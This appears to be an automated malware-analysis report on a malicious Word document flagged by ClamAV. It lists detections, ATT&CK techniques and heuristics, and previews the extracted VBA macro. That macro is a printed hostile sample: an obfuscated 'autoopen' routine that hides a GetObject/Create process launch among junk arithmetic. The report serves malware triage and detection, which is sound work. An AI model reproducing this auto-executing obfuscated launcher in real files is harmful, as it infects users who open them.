MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is a malicious Office document containing VBA macros. The 'autoopen' macro is present and uses the GetObject function, which is a common technique for executing malicious code. The ClamAV detection 'Doc.Malware.Sagent-6906083-0' further confirms its malicious nature. The VBA script is heavily obfuscated, making it difficult to determine the exact payload or download URL, but the presence of the autoopen macro and GetObject call strongly suggests it's designed to download and execute a secondary payload.
Heuristics 7
-
ClamAV: Doc.Malware.Sagent-6906083-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6906083-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12808 bytes |
SHA-256: 9601f18dd3711ccafea4674c671f5a7eb32b3e8c09afa82e9927d4e5857126c2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iCoXoA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "nABAAA"
Attribute VB_Base = "0{CEDBB79C-4319-4E09-B37E-5B3723ACCAE1}{37811027-F5C7-47C3-97E9-AC32AAF904F6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "jAAAXAQw"
Sub autoopen()
On Error Resume Next
If C4oA4AAx = ICAAAw Then
hABXZABA = CLng(aZZX_AA)
fcXcZAA = (171133444 + Round(bA1GAD * Tan(723201857 / Chr(181524204 / CDbl(IGQGXZ) * wZQAwBw / CDbl(9333851)))) * 443633441 * Atn(421070217 / Oct(86437037) - 545440901 * Int(ICUAXBo)) * (833287475 - Atn(PAZCAQAc)))
KA4ABA = Int(v1D1D4Z - d1BUAAQ4 - 317009637 * Int(71727435))
End If
If T4k1DBA = OXAQAcQA Then
kUoQxBo = CLng(Z_AAG1A)
wXGAUxo = (238240624 + Round(b4cBUDA * Tan(677754231 / Chr(491761394 / CDbl(YXAA1A) * LZxBAGcc / CDbl(897952246)))) * 999329629 * Atn(880461657 / Oct(683522585) - 795234686 * Int(GAZABA)) * (61266454 - Atn(TQZcAA)))
sDkAZxBA = Int(lG4D1C - qAAAAAoo - 216386236 * Int(589149634))
End If
Set TQUA_UU = GetObject(nABAAA.Tag + nABAAA.mkDAoUC + nABAAA.Tag)
If jAkcxDA = RAk_Uc Then
RAABAAX1 = CLng(HAAAA_kX)
LxAXUA_ = (153855580 + Round(zAU_xZkB * Tan(437269323 / Chr(282845569 / CDbl(VAkA4UGG) * qcBAAA / CDbl(437131360)))) * 993750127 * Atn(667014853 / Oct(33367749) - 33280388 * Int(ZUA4AABA)) * (862721803 - Atn(fUDDAQZ)))
mAAAUoZ = Int(joAQAAC - BAA_CA - 47039082 * Int(723508050))
End If
If i1kwAA = wCAcUA Then
iXQAGxQZ = CLng(UXQXkA)
QDAQCAAx = (115839633 + Round(zAAA4U * Tan(957242278 / Chr(177483085 / CDbl(hQAAkoA) * rAUUBQDA / CDbl(244955810)))) * 87920027 * Atn(92995166 / Oct(625869819) - 896096489 * Int(JwAxXZ)) * (167489001 - Atn(IGAX_ABA)))
UQ1DAUZ = Int(E1oAc1oA - MwGGABAC - 920689984 * Int(658948484))
End If
TQUA_UU.ShowWindow = 753253 - 753253
If oAAUA_ = IQwQCo Then
dxQDCBQ = CLng(FDAGQA)
zoADCA = (693144751 + Round(WAXCww * Tan(549050999 / Chr(257674803 / CDbl(KUAwB_AQ) * bAXA1c / CDbl(1314033)))) * 76635420 * Atn(20200237 / Oct(621309545) - 375129832 * Int(lk4U1oA)) * (764184476 - Atn(hAQAG1AA)))
MUAc_Gw = Int(MAAkAAk - sACUDAQA - 758851238 * Int(196013254))
End If
If hDUCU4_ = CA1AUG Then
hk1AABQ = CLng(LBAQBQ)
Mo_BBX = (21674619 + Round(NA_XAAk * Tan(670624121 / Chr(407815107 / CDbl(JBQoBAD) * fXUABAAZ / CDbl(805433428)))) * 58163891 * Atn(934706513 / Oct(271982624) - 109868316 * Int(Y4AAZXB)) * (446514270 - Atn(zUABUAA)))
rAGAAQ = Int(sD_ADAC - GAkGAA - 17405296 * Int(995022389))
End If
GetObject(nABAAA.Tag + nABAAA.HCAxA1 + nABAAA.Tag). _
Create nABAAA.Tag + nABAAA.bDkBD_A + nABAAA.Tag + nABAAA.oGow_D + nABAAA.Tag + nABAAA.Tag + nABAAA.XoZBCX + nABAAA.Tag + nABAAA.Tag + nABAAA.LkX14U1 + nABAAA.Tag + nABAAA.sxACG_ + nABAAA.Tag, qA_AxA, TQUA_UU, nABAAA.Tag
If VXAXUAx = zAQBcA Then
kZAAUQA = CLng(LDAAw1o)
f_ABAcZB = (636371413 + Round(VBADDX1A * Tan(845128818 / Chr(714354939 / CDbl(TAACUAUc) * zAC1AAAw / CDbl(838125011)))) * 911715284 * Atn(312264163 / Oct(120157686) - 229498870 * Int(cAAcUX)) * (274192143 - Atn(wZAAACA)))
fBoADx = Int(foU4AAA - FAcC4U - 175361442 * Int(387153467))
End If
If X4cD_AAU = jAADCA Then
WUQUQ_ = CLng(j_AA1cQ)
JAZ_DCx = (808929707 + Round(D1CAckZ * Tan(576134688 / Chr(915307020 / CDbl(CZxAABD4) * hAZQwZA / CDbl(55795398)))) * 455137994 * Atn(511684719 / Oct(900150813) - 402445910 * Int(GGxGUA)) * (420351788 - Atn(skCZAXD)))
WCAAAA = Int(iQ_oBA4 - ZQUoAwAA - 628560289 * Int(647193603))
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/028b8860a0944f91a66cd3b7210386b4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.